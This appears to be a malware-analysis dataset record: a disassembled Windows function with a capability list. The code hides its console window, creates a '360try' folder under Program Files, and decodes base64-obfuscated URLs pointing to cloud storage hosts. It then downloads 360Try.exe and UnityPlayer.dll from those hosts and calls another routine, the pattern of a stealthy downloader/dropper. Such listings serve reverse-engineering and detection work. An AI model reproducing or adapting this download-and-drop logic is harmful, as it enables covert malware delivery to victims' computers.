Function at 0x140001e00
Capabilities:
Create directory
Download url
Hide graphical window
Receive data

Disassembly:
sub rsp, 0x358
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x30], rax
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.C:Program_Files__x86_360try_
lea rcx, [rsp + 0x2e8]
call fcn.140003970
nop
lea rcx, [rsp + 0x2e8]
call fcn.140003710
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.aHR0cHM6Ly93d3d1cGRhdGUtMTMyMzU3NTQ4Ni5jb3MuYXAtY2hlbmdkdS5teXFjbG91ZC5jb20
lea rcx, [rsp + 0x68]
call fcn.140003970
nop
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x2c8]
call fcn.140001c50
nop
lea rcx, [rsp + 0x68]
call fcn.1400038e0
lea rdx, str.aHR0cHM6Ly93d3c1OC0xMzIzNTc1NDg2LmNvcy5hcC1jaGVuZ2R1Lm15cWNsb3VkLmNvbQ
lea rcx, [rsp + 0x88]
call fcn.140003970
nop
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x2a8]
call fcn.140001c50
nop
lea rcx, [rsp + 0x88]
call fcn.1400038e0
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0x288]
call fcn.1400039c0
nop
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x268]
call fcn.1400039c0
nop
lea rdx, str.MzYwVHJ5LmV4ZQ
lea rcx, [rsp + 0xa8]
call fcn.140003970
nop
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x248]
call fcn.140001c50
nop
lea rcx, [rsp + 0xa8]
call fcn.1400038e0
lea rdx, str.VW5pdHlQbGF5ZXIuZGxs
lea rcx, [rsp + 0xc8]
call fcn.140003970
nop
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x228]
call fcn.140001c50
nop
lea rcx, [rsp + 0xc8]
call fcn.1400038e0
lea rdx, [rsp + 0x248]
lea rcx, [rsp + 0x208]
call fcn.1400039c0
nop
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x1e8]
call fcn.1400039c0
nop
lea r8, [0x1400085ac]
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0x308]
call fcn.140004ef0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x208]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x1c8]
call fcn.140004fc0
nop
lea rcx, [rsp + 0x308]
call fcn.1400038e0
lea r8, [0x1400087e0]
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0x328]
call fcn.140004ef0
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x1e8]
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x1a8]
call fcn.140004fc0
nop
lea rcx, [rsp + 0x328]
call fcn.1400038e0
lea rdx, str.QzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXDM2MHRyeVxcMzYwVHJ5LmV4ZQ
lea rcx, [rsp + 0xe8]
call fcn.140003970
nop
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x188]
call fcn.140001c50
nop
lea rcx, [rsp + 0xe8]
call fcn.1400038e0
lea rdx, str.QzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXDM2MHRyeVxcVW5pdHlQbGF5ZXIuZGxs
lea rcx, [rsp + 0x108]
call fcn.140003970
nop
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x168]
call fcn.140001c50
nop
lea rcx, [rsp + 0x108]
call fcn.1400038e0
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x148]
call fcn.1400039c0
nop
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x128]
call fcn.1400039c0
nop
lea rcx, [rsp + 0x148]
call fcn.140003710
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1c8]
call fcn.140003710
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0x128]
call fcn.140003710
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x1a8]
call fcn.140003710
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rsp + 0x60]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001bc0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x128]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x148]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x168]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x188]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x1a8]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x1c8]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x1e8]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x208]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x228]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x248]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x268]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x288]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x2a8]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x2c8]
call fcn.1400038e0
nop
lea rcx, [rsp + 0x2e8]
call fcn.1400038e0
xor eax, eax
add rsp, 0x358
ret